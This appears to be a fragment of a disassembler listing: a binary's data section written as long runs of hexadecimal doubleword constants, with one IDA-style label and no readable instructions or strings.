		dd 93B06096h, 858642B2h, 0ED0CC7Ah, 0DD6DC5BDh,	812411Dh
		dd 50E2A3B0h, 30164E80h, 0BC8A0E28h, 0F880D355h, 0B902E12Ah
		dd 2F171DB4h, 8F6C4990h, 0A89223EAh, 0E6A7138h,	0C0338442h
		dd 0BBC88A02h, 0A75500C0h, 18C6FE8Ch, 86008FAAh, 0E21216BAh
		dd 0BE3610D0h, 69090BC4h, 0ACA93C10h, 8E88124Ch, 6C60AE2Bh
		dd 771DAh, 702F9BF2h, 0B1CB3CFCh, 1FD52100h, 86B013D4h
		dd 5CA0099Dh, 0CC01E86Fh, 0BFA6C194h, 76ADC4A9h, 1CE500B5h
		dd 0F711F38Ch, 0AE2890FCh, 0F039801Bh, 8481E917h, 0FF41B680h
		dd 792CD30Ah, 0A32F0058h, 78F981Dh, 1F47E89h, 6DB1F17Ch
		dd 3CFC8E17h, 0EF3500CCh, 0E3B33DE1h, 2A149C3Eh, 0BDF4F98h
		dd 0C098680Bh, 3295CEC4h, 0F2F4012Ch, 0D2016ACFh, 2DCC50D0h
		dd 2AF71773h, 24083812h, 0B53F8EEFh, 0BC62C820h, 2000A879h
		dd 74312658h, 27B4AF50h, 948035F8h, 9FE0AE38h, 90919A60h
		dd 58D9D5F0h, 689842Ch,	0E47A2448h, 0DC44DA0Fh,	8C2060D9h
		dd 4CDD629Ch, 3F081C79h, 2F914F90h, 40449224h, 98C3323Bh
		dd 800013F4h, 12FFD922h, 3D283D5h, 471BDD4Dh, 0D028740Fh
		dd 36019C1Ch, 0F39789E1h, 0E8621E8Ch, 74227451h, 33EF4103h
		dd 0A92A3756h, 99008C1Fh, 9DF6AF91h, 842D66h, 0C9E16454h
		dd 841790Fh, 0F870330Ah, 0BE10ACE5h, 4190E6C8h,	881DFE1Ah
		dd 2D43F84Eh, 68009321h, 9A050EE9h, 3363A88h, 1028A324h
		dd 11F7C47Eh, 0E2208922h, 1D94B93Bh, 8747AC9Ah,	84D22D29h
		dd 7D34B5D1h, 7361348h,	2EA76420h, 6DF8A0h, 0A2DA9D4Ch
		dd 0B4C1CC7Fh, 0E4DE302Ah, 52C69606h, 4388C702h, 4FD22AAh
		dd 0B67BD36h, 0D3948156h, 7C7D03h, 0C0B75919h, 7F1DDD8h
		dd 4455D220h, 0A1C92099h, 6009FEBh, 8D6EC44Ch, 0CCB25Eh
		dd 5005C50Bh, 5AC60444h, 0D8360330h, 4BE20D7h, 0A7FE49AFh
		dd 3320C2B3h, 0B0082419h, 1CB14E88h, 42432B11h,	0ACC83AD9h
		dd 71773461h, 60C01940h, 3B05B2ECh, 0E31BB4AEh,	14A7C44h
		dd 0C43D20C3h, 2B9C9E40h, 340B1EB4h, 820AD07Ch,	9992909Ch
		dd 613E68Ch, 214F0900h,	7E2F6CCCh, 0B4CCA02Eh, 0A24284F1h
		dd 272BA850h, 0AC2191A9h, 29E01C3Ch, 5E2E74D4h,	18117804h
		dd 9848C748h, 0A04C2797h, 0E499F6F7h, 34B6F326h, 172ED607h
		dd 0DA540489h, 622E132h, 4698666Fh, 78B062A7h, 0E3000F8Ch
		dd 2960AC51h, 547D6828h, 3D781000h, 0D86DE2AFh,	58E5741Dh
		dd 0D905A8CBh, 88375A15h, 9988B64Ch, 0FE670076h, 0C39322F7h
		dd 95008F33h, 90FE5D2h,	9BE77BFh, 0EBA8906Bh, 32C65CA4h
		dd 5DB04C19h, 62003402h, 0CBDA9FDFh, 1B03C17Dh,	12CE790Ah
		dd 3C909056h, 5408B836h, 89CD249Eh, 10060138h, 0C840C805h
		dd 755D491Fh
		dd 0C02B1285h, 729C86C2h, 0D66814E8h, 9480C093h, 0EFF9DD8Bh
		dd 612E5600h, 801AA712h, 40BF0315h, 706F73Ah, 0D5AD5907h
		dd 35F0B85Bh, 227D44Ch,	0FCEFF2E2h, 50B8D267h, 221EE12Dh
		dd 0C428DB7Ah, 17792090h, 0FF2C2CB1h, 5ABE2C26h, 2813CC25h
		dd 6A62002h, 60B10053h,	820050C4h, 79103BD2h, 4CC538D7h
		dd 8A80247Bh, 660B1DC1h, 0EC20945Bh, 0BFE4937Bh, 1EC14B62h
		dd 11886270h, 0A92295F7h, 7AFEBD00h, 0A59849Ah,	0CDB00557h
		dd 44ECB85Dh, 22CE16E4h, 3BD920F9h, 90A407C3h, 0D3FAC0B5h
		dd 174FA97h, 698F287Ch,	6C2BB1BDh, 0BB670BF0h, 0D358844Eh
		dd 1EB09CF4h, 0C0594CCFh, 13E92D0Fh, 8B07F4C9h,	88E40350h
		dd 80EFD347h, 0B49D8536h, 2464A818h, 41D78198h,	9C2CFB4h
		dd 8213CBE0h, 29016CD1h, 0B290168Dh, 12D8FF8h, 0D25D372Bh
		dd 24090BADh, 0AA898CECh, 7FED3C31h, 104E1511h,	0B1A3E362h
		dd 0DB508E98h, 492AD304h, 40998018h, 723E37EEh,	0DA7B013Ch
		dd 828A521Dh, 77C02838h, 0DB42A8A6h, 4144971h, 0A40B079Ch
		dd 9163F079h, 902BFEh, 840934Fh, 0AFD904FFh, 0B0D5546Dh
		dd 6A0BCA7h, 0F90890A9h, 46720625h, 2A88A20Ch, 0AAE08860h
		dd 0B46D1Eh, 30C0AC92h,	0AB176005h, 0BA8E7103h,	0AC101B82h
		dd 6A0AF8E2h, 64A0A9D2h, 28375355h, 5363E907h, 731880E6h
		dd 85EE0066h, 44975DF3h, 14141EF1h, 11B83A12h, 311178F5h
		dd 91AF0052h, 0E3AE7C7Dh, 485CA8A2h, 0FC1097DAh, 55007205h
		dd 0D8CCE50h, 5C0E3CE0h, 0B7104CA0h, 95FD8494h,	540058A6h
		dd 32EE455Ch, 0A1008D66h, 0ED139751h, 2C1FC47Ah, 6008A465h
		dd 0E027EE8Ch, 223D3720h, 6E21BA64h, 5F7700AEh,	3AEF896Ch
		dd 0A1642900h, 5217D308h, 0F8FAE290h, 1BB50030h, 9C8AD0F1h
		dd 0C8FA94E9h, 139D111Fh, 0D947691Dh, 0D8722A97h, 8C146339h
		dd 10B8E34Ah, 448DC8B5h, 9F484026h, 0B25A772h, 7C8D0F44h
		dd 24D7F402h, 0CE363840h, 0A09A5B13h, 2898C701h, 3BC4212Dh
		dd 407868C2h, 0C9D102B0h, 0A082361Ah, 0C213938Bh, 35FF0296h
		dd 8903AC59h, 88BB16D9h, 527DF01h, 0BFEC243Ah, 0CE8C81DAh
		dd 6DB01111h, 0D8218035h, 0B460CC4Dh, 0E1B2004Bh, 4CFDF7Eh
		dd 7A586488h, 408D354h,	0CE460837h, 284BEE44h, 0F5DADCC8h
		dd 47651300h, 42EA97DFh, 202C9063h, 0FC8C8975h,	5E0F0FF8h
		dd 407826D7h, 0E50A733Bh, 5C6E0217h, 79BF43C7h,	0F4F18899h
		dd 54B4740Bh, 2578D440h, 42189C80h, 3C05F12Fh, 903B9C04h
		dd 0F0222022h, 0CC7C6A29h, 3E7134h, 0ADFD3301h,	0B690D23Ah
		dd 0BC810D88h, 6A1EE090h, 0EA00643Eh, 26E9FD6Fh, 5A3C6Bh
		dd 0B62D51E8h, 0E01D08A0h, 628588B9h, 78C2AA04h, 14B2195Ah
		dd 20B5F0C2h, 0F52DB95Dh, 3B0F4B07h, 0C4100250h, 726A7227h
		dd 65A109C7h, 54407ECFh, 40821B5Ch, 88542F5Ch, 0E20ABEB9h
		dd 0D01E91A6h, 4445DC44h, 76BA80D8h, 0C2274A6Eh, 0EC90460Bh
		dd 0BE3B0369h, 0ED57387Ch, 6DB3388h, 0CB0A1401h, 9D5882EAh
		dd 6443F075h, 6BAFC04Eh, 0C86E2C15h, 0C8969054h, 0D12892EDh
		dd 0EC24418Ch, 0A6009BD5h, 0B8377A68h, 486A8567h, 407E140Fh
		dd 7224DF98h, 8061407Ch, 0A202364Ah, 8415C519h,	62A8F23Dh
		dd 2810148h, 1CC433F0h,	9EDE3B00h, 0C6085C80h, 2E8E0F54h
		dd 32E11BEBh, 30C21ED4h, 4E138004h, 10018993h, 61C4E750h
		dd 70280435h, 6F2B7A80h, 3818BB9Eh, 40CA32ACh, 0D7E31C93h
		dd 0F86102AEh, 888FE0B3h, 0E104C410h, 22081CE2h, 0A0B48F0h
		dd 3480C80Bh, 0E94C01CEh, 30B33BBBh, 9D6428DEh,	74300256h
		dd 5479B4Fh, 510CFCEAh,	9BAEC94h, 239BDF2h, 10932B80h
		dd 0FF8095F9h, 44CB867h, 0AC1CC3Eh, 8940EC6Eh, 651499D4h
		dd 0E11416E5h, 2A13C6FCh, 9E8EB50h, 2B3D2D05h, 16213010h
		dd 5DC25000h, 0BAFE3059h, 5A3100E7h, 0ACEFD27Eh, 0D0A03BB5h
		dd 5E827DC9h, 0E5976068h, 837E5459h, 0DB691200h, 0DEE340CAh
		dd 9A4D00EDh, 6B2935E9h, 1C26B776h, 7901E8F8h, 0E2D77C15h
		dd 88340475h, 74458621h, 0F415840h, 21041425h, 8F09DDD8h
		dd 382FADF1h, 0F0F2A1C9h, 4AE1EB3Bh, 4D06820h, 7AF80081h
		dd 0FA4E49F2h, 0ECA6B267h, 5FE0BA20h, 10E43006h, 0EA267B81h
		dd 6C1248D8h, 4F440480h, 2C8F8871h, 61D602E9h, 22CAD83Ch
		dd 2D11A973h, 0D0784A10h, 123FE601h, 0DE4647DDh, 534E1C2h
		dd 0EC00A008h, 6ACB63CEh, 482BBE08h, 1CA5A465h,	955138h
		dd 849A0A9h, 785A8DE0h,	21AB2829h, 8A737768h, 8D40A074h
		dd 53C3CEh, 0E8725C26h,	0E4421B66h, 0C2437098h,	2C121E10h
		dd 0EB088037h, 0BEC88023h, 79103C4Bh, 384A4Dh, 1352A907h
		dd 0E6B9D30Ah, 4E980FE6h, 0AD890146h, 711084F9h, 5010ACC4h
		dd 908A21C8h, 7D0B84ADh, 83E03025h, 0E00542Ch, 5FFD246Dh
		dd 0A573542h, 87AD7DF0h, 71A3028Fh, 98C0B331h, 484BEA6Eh
		dd 431B7031h, 4ECEEFCh,	0E4FABD47h, 48C035A3h, 376686E3h
		dd 95E86D41h, 6EBC0438h, 10CE4B96h, 0F0D744h, 558E68D8h
		dd 0A6A12134h, 7C093675h, 0A43D290Ah, 58A282ACh, 83750682h
		dd 1626E046h, 7FE0B8E1h, 0FBCAAh, 0E9F1BF2Ah, 3E74248h
		dd 0A0C6722Ch, 47960108h, 142CDAD2h, 1AB0FC0Ah,	6C00DCF7h
		dd 9A0B2C9Fh, 48BF9460h, 0C510A4A8h, 342B007Bh,	3BDAED77h
		dd 0E63A12C8h, 24FCB382h, 0F110D0DFh, 0D38C46C8h, 0E6910h
		dd 0F116B5D1h, 15EF8140h, 0C8429907h, 0F29EF2AAh, 0B1D0E8DCh
		dd 6D8538A4h, 0C82CC4ECh, 5F1DA748h, 0F807B5Ch,	389CAB2Dh
		dd 4AB470C0h, 7494C8A3h, 0B695D001h, 5F62FA6Bh,	944AE2DCh
		dd 0C5FF16E8h, 28F08C64h, 0BA06F70Eh, 0E641004Bh, 1DAA0525h
		dd 33C88h, 2A599862h, 7C1E61DDh, 0B34C7BEBh, 86E9F8D8h
		dd 0F4010AF7h, 0E6248EC2h, 4AA1202Ch, 69324102h, 60B3EEBBh
		dd 0BED44810h, 8B64C19Ch, 0B460C671h, 0CE1FF673h, 6BD6071Ch
		dd 90A374E4h, 415496B0h, 2F2D16E9h, 0BF70F441h,	6C288B7Bh
		dd 5896E521h, 7D5CE7h, 0E816870Dh, 0B01FA5D8h, 0A6D0F51Eh
		dd 65A01A84h, 948D0483h, 41801CADh, 2BDB45D7h, 8A5C531Dh
		dd 51000B57h, 315FF5E7h, 683F1364h, 32541215h, 5460A9C0h
		dd 2C497891h, 90862180h, 0E56E8BE5h, 0AAAB030Ch, 8FB9D07Fh
		dd 4C9470CCh, 0FBE4B741h, 89A8B1DCh, 68D10356h,	26CC750Fh
		dd 4370B72Bh, 94C42792h, 0CF3600F8h, 0A8A6AA2Ch, 0D34A2963h
		dd 6FD2FCD0h, 5B503FE5h, 822E7692h, 0F12EA780h,	3F704A03h
		dd 0EF99B315h, 9ABECC0h, 0A6906378h, 3D0077F2h,	0CE583314h
		dd 3AAED84Bh, 0BD300DE1h, 0A74FE510h, 840A103Eh, 8A59123Dh
		dd 32A934A0h, 28B11BAAh, 0C2002C52h, 780D0886h,	943D05h
		dd 0C5A755F2h, 0C7C106E8h, 82519201h, 0F7171D23h, 0CF8BD82Ch
		dd 0F3C05030h, 77F74180h, 26D70163h, 0D9B06831h, 96D9892Fh
		dd 7D4F207h, 0E783180Bh, 0F4C95064h, 0EF5B98A3h, 0E02BBA8h
		dd 4003DEA0h, 326AF0A4h, 89B0F11Eh, 0C0A4EF06h,	7FFA400Eh
		dd 2AE01A0Bh, 4C446401h, 0C09F7C2Bh, 97210A3Dh,	0B703EA5Dh
		dd 0E994E46Fh, 5482D55Fh, 142019CAh, 611EA8A2h,	67E6006Dh
		dd 21FC1728h, 5CBA2F7Fh, 62CE9444h, 2D7FF152h, 0B14307D5h
		dd 0D0033DC5h, 0CF6FA5D2h, 0C604180h, 0FB2D13C7h, 0D948E0EDh
		dd 661B0607h, 644088F3h, 275D2BB0h, 2C16CDD2h, 326B1845h
		dd 6C433128h, 0D90015EAh
		dd 307C33F5h, 4980FE36h, 0EF045A9Eh, 7A672A12h,	279AC8Ch
		dd 2334623Ch, 90F87E17h, 152EF481h, 0E615DC30h,	7B86FA5Ah
		dd 4ABB0006h, 3EF14767h, 0D6FC58B8h, 82BD7F25h,	7C8B2C44h
		dd 2F0DC04Ch, 8A00FC19h, 9A8F1D42h, 24BD128Eh, 69C0E31Bh
		dd 1107F091h, 4181F128h, 0E4EC6062h, 3B4D309Ah,	19E7B0C9h
		dd 0F011334Ch, 0C848782Ch, 8DCA6D5h, 0C4B82052h, 5D9201EBh
		dd 0B0572E41h, 0A2BDF8ECh, 0C6CCF26h, 8DE0C15Ah, 1614223Fh
		dd 0E0149B12h, 31FFE77h, 19F04431h, 929441BDh, 0B3192268h
		dd 8004E814h, 0DB2C0B70h, 0C6D600FFh, 763BAF40h, 5B253F1Ch
		dd 0ABC00153h, 0FE094F93h, 0E698A922h, 7C704388h, 9D920B84h
		dd 0D4442D0Ch, 0E279E964h, 0BC04E481h, 0C4DEF510h, 0A79DF100h
		dd 0CF095768h, 3926FA4Bh, 50F04EC9h, 120BA936h,	44AAFACCh
		dd 22098954h, 736231Dh,	0D47681DEh, 11031200h, 509E78E7h
		dd 0DADE07A7h, 313630AEh, 28DB6DDCh, 0CE3B0888h, 44C6446Ah
		dd 7C8930F0h, 12891891h, 0C8F222E3h, 11FD8078h,	0EF104682h
		dd 0B86BBB70h, 0A2171208h, 877444EEh, 3AFF478Ch, 972077F7h
		dd 4FE3F3AAh, 2D382838h, 613183E7h, 0F1C8AF92h,	2AE1B33Eh
		dd 0A87C58F9h, 8B94EB10h, 84887931h, 0A2F5015Ah, 1DD5033Ch
		dd 8012087Bh, 1E78FCE6h, 7AAE866h, 20542FCEh, 0B349740Ch
		dd 40D4EEE1h, 3ECA1701h, 0C3609447h, 4134949Fh,	7293D5F0h
		dd 6BEC09D4h, 0A540804Bh, 185A9FEh, 0D4C71013h,	60AF9CC5h
		dd 4286E1F0h, 14935A69h, 0B8BFFB46h, 0D92E6Fh, 67C1197Ch
		dd 48F9F64Eh, 0C522CF0Bh, 2C6408h, 27C30172h, 1CAEBA9Ah
		dd 8584F00h, 0DB026240h, 0CF790857h, 0E108037Ah, 52B0189h
		dd 7D1AB32Ah, 0CE36C0D0h, 4D09529h, 0C260D76Bh,	2978B8BBh
		dd 0CC97B0C3h, 333D9CB7h, 0F950E981h, 30B6D808h, 0EC44F848h
		dd 1B9788D9h, 0F0FBDB00h, 171E8A08h, 368501DAh,	0E7D03024h
		dd 7C7CE20Bh, 993CA690h, 3629E500h, 0BE67C77Dh,	1AAB9EC0h
		dd 95E91D1Eh, 31026004h, 912121Fh, 34141D20h, 20471F58h
		dd 0A7F34027h, 0A2375AB4h, 80D22E0Dh, 7C23A8CEh, 81442400h
		dd 3548F615h, 391C802Dh, 0FE019E24h, 44C2091Ah,	54934294h
		dd 0F04E6CF4h, 929B2848h, 3D742CAAh, 2110E148h,	285691B1h
		dd 6520E0C7h, 2BCCA1B2h, 93D0A815h, 97509701h, 0CB5C7Ah
		dd 0C1213B60h, 0C35BC7EEh, 0A110E90Ah, 0A203B597h, 0B8E8ED27h
		dd 30A7C4F7h, 0CE28CA61h, 0A80A1311h, 64951043h, 960BA81h
		dd 0AC387C67h, 0FC5A8D89h, 76239D00h, 63BDC35h,	0D8AFFB6Dh
		dd 0A45C0064h, 26B0059h, 67ED80BFh, 0CC244CE3h,	0D989EB88h
		dd 0F7A49093h, 0CAEA13B5h, 0B29C16CCh, 88AEC314h, 685DF865h
		dd 6A30CE8h, 0B0788FA9h, 2670014Ch, 148494D9h, 215F0EBDh
		dd 8034CE09h, 6DFBC00Dh, 20849A9Eh, 9B4DCF1Bh, 88E29724h
		dd 7EBC4C00h, 3626589h,	0E672A100h, 51AA3B9Eh, 0EF610EA9h
		dd 821DB071h, 0A13C46A0h, 176F84C0h, 23D7816h, 4EC48CB0h
		dd 0F814C7CFh, 27C11F9Eh, 4825833Ch, 80987CF2h,	0EE3EB280h
		dd 0D11ED546h, 0C0CC28B4h, 2075D8C7h, 6721090Ah, 0FC442F89h
		dd 3CA73F07h, 4DA02004h, 5ED9F446h, 40F8882Ch, 51482964h
		dd 10816621h, 8810D5A9h, 0A04C6DD9h, 0A4933E84h, 0A6043C0Bh
		dd 2D4B14CEh, 77949CD1h, 2490781Ch, 2A3CAF0Ah, 8A11A8A3h
		dd 203B5B78h, 296373FCh, 0F1F8B102h, 41136115h,	6181B0A8h
		dd 0E5A00AAFh, 84184307h, 0C22C7290h, 2AF40956h, 885F6481h
		dd 0A28BC070h, 49420060h, 8872C39Ch, 93007004h,	6AD2F3E0h
		dd 0F7C83Ah, 0A68FAAFCh, 0DF12172Eh, 2614D01Ah,	3C71B8h
		dd 5BB22338h, 6B2E5764h, 120834B9h, 40CE44CFh, 557C49D9h
		dd 0AA02099Fh, 0DCD22CAEh, 46ADF00h, 0C5CDBDEBh, 491E645h
		dd 876EC957h, 606C80C3h, 0E00BD8A7h, 9029C536h,	0EEE2658h
		dd 84D7AB1Bh, 3EC248CFh, 5C642CC1h, 0C6A4F21Dh,	0AAC20BC0h
		dd 20D3295Ch, 0AF4E5D34h, 0C825C821h, 0E8A759FCh, 54F001C3h
		dd 0D661CF8Bh, 0A26C3038h, 8C2A1742h, 873B0CE8h, 0A9991965h
		dd 0E103AA1Ah, 9CF9E9h,	0BC700881h, 7100C891h, 7458B679h
		dd 16FAED83h, 3057263Eh, 8B476CC4h, 0A2353Eh, 77C78034h
		dd 0CE6A36h, 0A7E28362h, 0B4B11D45h, 0C1B9314h,	0C43B29E4h
		dd 0C0E07280h, 27987313h, 0FC44D2F4h, 53A44100h, 0AEA29E92h
		dd 5D810095h, 7D666DCCh, 830794B9h, 2BDABCA3h, 5AD0789Bh
		dd 283C881Bh, 13F42097h, 443545h, 31381A7Dh, 6EC3B932h
		dd 0FEB7F802h, 4226F791h, 0CE8090DBh, 0E0870382h, 0D72B4561h
		dd 939AA1F0h, 0EB7D8500h, 921BB68Eh, 11EFA38h, 3C9089F0h
		dd 73F18610h, 287D0058h, 50A8A67Fh, 69AD0429h, 0CD606609h
		dd 123036BCh, 0CC04372Dh, 5220DDDh, 94388429h, 112B4C54h
		dd 1D710070h, 0D63B248h, 0E90CB400h, 0F478F641h, 0B727B83h
		dd 0E1D65BB8h, 9100BCD0h, 0D755F2D4h, 37DEF7h, 0CE3480EAh
		dd 23966440h, 0CC8BB302h, 0D60A0B1Ah, 0D0D392F8h, 8A808D0Ch
		dd 1C146802h, 57FA0773h, 87100401h, 242FEEh, 8E13181Fh
		dd 30E31820h, 0E83F26A2h, 0A57188E4h, 270C1849h, 0F3120F18h
		dd 0A0C16FCBh, 0E0712682h, 5C0460B2h, 0E660806h, 1C7BC749h
		dd 0FAACC801h, 4B6BB26Dh, 3FD062E8h, 2D20F200h,	0A3E3689Bh
		dd 0BFA5Bh, 0C6BD1088h,	22819443h, 1D13353Fh, 0BA0034FBh
		dd 8AEFB0B5h, 0E1450284h, 0D1D6668h, 20328DE1h,	0D6B8FE51h
		dd 0C493B28h, 36D03A1Eh, 31303B9h, 0BB6070F0h, 0BB1001E4h
		dd 3B269B35h, 236180FFh, 0F48F5C79h, 7D110CECh,	2418667Ch
		dd 83924618h, 9A5A91h, 96BF3DB1h, 0D95BBB9Bh, 3423370Ch
		dd 7DBA58DAh, 0F39803C4h, 88CDE31Eh, 0FE6A3001h, 0FD269374h
		dd 6D7101C7h, 75A3B84Dh, 16CDE02Bh, 1E514F44h, 0C04A21C4h
		dd 5A8F0FB7h, 42FCB48Bh, 2D4721DEh, 34D14946h, 78804F2Fh
		dd 6CDCDA0Ch, 560E9F69h, 0A37AB570h, 3F9E20Ah, 233D2471h
		dd 117AEFFFh, 47194D60h, 0FD1776h, 9C482F05h, 2B07AD39h
		dd 0F1784E61h, 3501FBCAh, 370EC026h, 804741C8h,	0EC28418Ch
		dd 0DC7833E0h, 5300DF90h, 2FACF02Eh, 0C88342CEh, 4E8043C0h
		dd 4C412D37h, 527373h, 0A8DD77Ah, 0D2137B1Ch, 0CD000B7Eh
		dd 0FA373F40h, 0C22ED0F4h, 9FA32781h, 0C7C0B4AEh, 0E78C6D7Ch
		dd 175A110Ch, 3BDC614Ah, 0B60082DBh, 0D35FB456h, 7E527D62h
		dd 20941884h, 6A924560h, 113458F5h, 0D10078FAh,	8B7AB31Eh
		dd 286B01F1h, 30A42E3Fh, 0A7892F2Bh, 563E1562h,	901603EFh
		dd 0E0104A5Eh, 39CB46BCh, 0EAF7D123h, 9670084h,	72CE11EFh
		dd 320C26D7h, 801B4E52h, 37B7153Bh, 2302B4E3h, 0F9C794CBh
		dd 81A74043h, 25755093h, 7B1C43Ch, 94FA6D0Fh, 148CA3C9h
		dd 48CEB245h, 24A95A90h, 409C500Fh, 0B6965119h,	0E279EE00h
		dd 7C36C902h, 0C0FCEA26h, 9291C1E9h, 646AE30Fh,	9F0C7480h
		dd 0FCE51E6h, 0C598B09Bh, 0E4AAFEE0h, 810F849Eh, 80062226h
		dd 3E40A4D4h, 0C51A003Ah, 835E9C93h, 7300C7ABh,	2770BD2Ch
		dd 0C0AA50EAh, 0A9080F91h, 9E008637h, 0FAB8A7AEh, 3B2541Ah
		dd 22F047BDh, 980088C6h, 3BFF8073h, 9170F8h, 0BB820489h
		dd 0FB817A5Fh, 942B6B05h, 7407A84Bh, 602FE08Ch,	388D6FBBh
		dd 1C9090BEh, 8628DDh, 63B19BCAh, 0F407A442h, 0FDF572F6h
		dd 0A8CB5B73h, 0FFA994Eh
dword_53E858	dd 3B9F9891h, 0FF887980h, 6300B92Ch, 1EF86724h,	0B36697h
		dd 0B719A954h, 59A09ECBh, 71CB649h, 0BBC1045Fh,	1103EF9Ah
		dd 989EA8B2h, 9248176Ch, 0A082B028h, 1C20850h, 0D7950C40h
		dd 20E7AB35h, 0C8A8B568h, 1500F3C4h, 0B359D82Ch, 492E9F5Ah
		dd 3A1D382Ah, 9EB2C3FFh, 0EB88C934h, 913EC09Bh,	48204B8h
		dd 5087DD4Ah, 0FE58018h, 0BB4E6E8Bh, 6F33C905h,	48037F7Dh
		dd 7CB49346h, 817B6FC1h, 0F0069589h, 9A1411F8h,	189827F7h
		dd 265911CBh, 209139h, 907CC59Bh, 9898E525h, 131A222h
		dd 2E3AB839h, 8901B1DCh, 98E9166Eh, 9B09A70h, 2AC1C9F2h
		dd 0FDCFF002h, 0A0825022h, 151821ECh, 8EDB0228h, 0EFA37F63h
		dd 0C9F1FC48h, 0B33180FBh, 44CF715Bh, 4E5C00B4h, 0A716D314h
		dd 240CCD19h, 51A5AB45h, 5C0F4DA3h, 9BC8207h, 0CD25702Ah
		dd 0D600A505h, 79FE7CF0h, 0F4D104C8h, 742F10A9h, 0B2F11433h
		dd 7DB382ACh, 0D9246671h, 1018C0D8h, 90628144h,	0FC9122CCh
		dd 3FF89A04h, 50C816FBh, 76B1ECF4h, 22DB000Dh, 5BD648AEh
		dd 95889717h, 78FA0098h, 9F58CB34h, 77118396h, 0B91E4417h
		dd 0E007C03Eh, 76B6F0DCh, 803FFC3Dh, 0A595BE92h, 65E291h
		dd 43F77C94h, 3BE693E4h, 13843D00h, 6EB1DD44h, 74610051h
		dd 95190373h, 0B824F018h, 0C7403829h, 1BF320h, 6E87314Dh
		dd 41174782h, 302CE9C6h, 0D7230029h, 0D9265765h, 9CA03DB0h
		dd 8C09C6C5h, 243527B4h, 9540693Ch, 0C79F6381h,	0C674844Ch
		dd 214C16h, 0A6310FC2h,	8F42C04Ah, 5E3D2B14h, 0C0502CA4h
		dd 0E8D94140h, 0E27501B3h, 0A9491527h, 3B0022C5h, 4D29E050h
		dd 460B7Fh, 0EE52A86Fh,	7E64871Fh, 6C2B7200h, 0E8FAF2C9h
		dd 9474B1B0h, 1780D013h, 1D2575C3h, 5A31D801h, 7ECE2991h
		dd 0E7C40321h, 0CB100693h, 11BDFCCDh, 0C5EB1802h, 0C00FE139h
		dd 6F5F96h, 0B7B33F7Fh,	0BF98B151h, 4860EA00h, 650F7DA4h
		dd 45CE3EA6h, 0D2CBC700h, 5D73EE6h, 0C0A3AD00h,	0EDF4952Ah
		dd 8AF80084h, 3FD4267Fh, 100A5535h, 80E7EBCh, 0EF9C9806h
		dd 80809929h, 53F7E59Bh, 4400EA04h, 0C92F9CB5h,	48269457h
		dd 9A82E003h, 3C406DC7h, 98921C1Fh, 41BB943Ah, 41975834h
		dd 0FE5C6033h, 942788h,	0C1473BB1h, 21255B24h, 6C3A232Eh
		dd 44C7F142h, 651B1388h, 90E8007Fh, 72F04AC1h, 0DDF9CF0Eh
		dd 808A0969h, 173EC689h, 1674B937h, 5B840427h, 0A8D203F7h
		dd 0FEB093CDh, 0F6F52288h, 5643C403h, 0E8F799C5h, 30AE9F51h
		dd 0B0E05C08h, 3909D88Eh, 428FC7D0h, 26286100h,	6444FFF9h
		dd 9F988Ch, 94C8C643h, 0ACC7FE09h, 0E678BF17h, 0A0642C00h
		dd 30DF6808h, 80312D29h, 0D5025683h, 44A12E82h,	3848267h
		dd 0C0C44Dh, 0A93F00Bh,	0D4846E57h, 0D63CE16h, 6290F81Fh
		dd 2C29C40Dh, 0A2C8E051h, 0AC5C0A0Eh, 0CF152077h, 78B8F5A1h
		dd 82E4864h, 7BB9F730h,	0AE881426h, 8AD80086h, 39D0B6B0h
		dd 1F1603E5h, 502058B3h, 9250173Bh, 37CE030Ch, 0E7C9C696h
		dd 0FEABF3A3h, 0A850492Ch, 0BC434940h, 75E84Eh,	76910E5Eh
		dd 2A8E04AEh, 0F5216500h, 2B94C947h, 0C6CB806h,	99A693C7h
		dd 1F1FCC48h, 29982696h, 0E091D859h, 501D078Fh,	5072B4DBh
		dd 0FFA1126Eh, 7C1223ECh, 2840F9DCh, 3A992745h,	0B5020F21h
		dd 93834ECDh, 20EF5EC7h, 0B09D9ED1h, 0B1CAF700h, 82629617h
		dd 0C6863C88h, 0CDFA5509h, 9C6FBF00h, 81C72429h, 0F810C277h
		dd 8CBC4Fh, 5227C11Eh, 0B19A54DAh, 0BAD2F617h, 5B203207h
		dd 7EAA84D0h, 0A45FFADEh, 1FD301A0h, 0EF9FAC69h, 70E470EEh
		dd 0BAC4F713h, 0A0023813h, 2918107Eh, 0E3E8541Bh, 73005D3Eh
		dd 160CD171h, 12AA9320h, 435E5737h, 0A43DB100h,	54E147C0h
		dd 79057F01h, 94679EEDh, 442CFCE9h, 845D7410h, 0A344AB9Fh
		dd 40890F1h, 0A500AED4h, 0BC9E9D0Ah, 1A07452Bh,	394916EEh
		dd 0D3373080h, 2F09AD10h, 843B6B93h, 8882F1D9h,	1B5C5A9Bh
		dd 0F9B79143h, 0C903Bh,	0B8AD6F40h, 4A2B7B01h, 28840823h
		dd 0E7527680h, 0C2956Eh, 0E1DF6750h, 423CF1EFh,	1F28EB02h
		dd 6936AB37h, 0F2104FB0h, 4D033F58h, 3337B0C0h,	0EC204C32h
		dd 2268877h, 0C0A6C894h, 50246420h, 7D8BE004h, 461C1070h
		dd 0B9B86BAEh, 0E2E49C0Eh, 204D454h, 809843E8h,	0C10BE05Ah
		dd 98012699h, 0E58164h,	0F982E810h, 0FF92EDACh,	9EC6B601h
		dd 58B88604h, 7C2DA3F1h, 57025E00h, 55E78D61h, 47CEF807h
		dd 1F47D060h, 94A36AF0h, 6264003Eh, 0E548E0ADh,	3C00363Bh
		dd 7EF42E7Fh, 751E8FE8h, 18261CE4h, 9F59DCEh, 3099C1CAh
		dd 0F9DFD098h, 1E428F00h, 0CA654711h, 7D1620F8h, 0C1C5B002h
		dd 0E16D1B49h, 0C81524D0h, 0BD38EEB8h, 261B80C5h, 9686AFABh
		dd 1907EA7Dh, 0A0A61CACh, 34A05033h, 9C256C43h,	6D209096h
		dd 0D77B0028h, 3CB9F476h, 9325EE4Ah, 0A51C204Bh, 0E4DFACh
		dd 0B896F806h, 90CF775Bh, 4D4A44Ch, 2B1B05B3h, 9F0060A2h
		dd 0D915398Bh, 5A3CB232h, 94318406h, 0AC81D027h, 0B0500DA3h
		dd 9D80E6Eh, 0FC64254Ah, 0ED3C1A00h, 991DC904h,	0CFD2CB9Ch
		dd 61C036h, 22183AB3h, 38E31B67h, 965B140Fh, 0E1098176h
		dd 0A42D4B81h, 216BAF03h, 95E0F738h, 189073B6h,	509C51F9h
		dd 0BC2980A6h, 884C1FF3h, 97420071h, 0B1D1A8Ch,	0DF004F18h
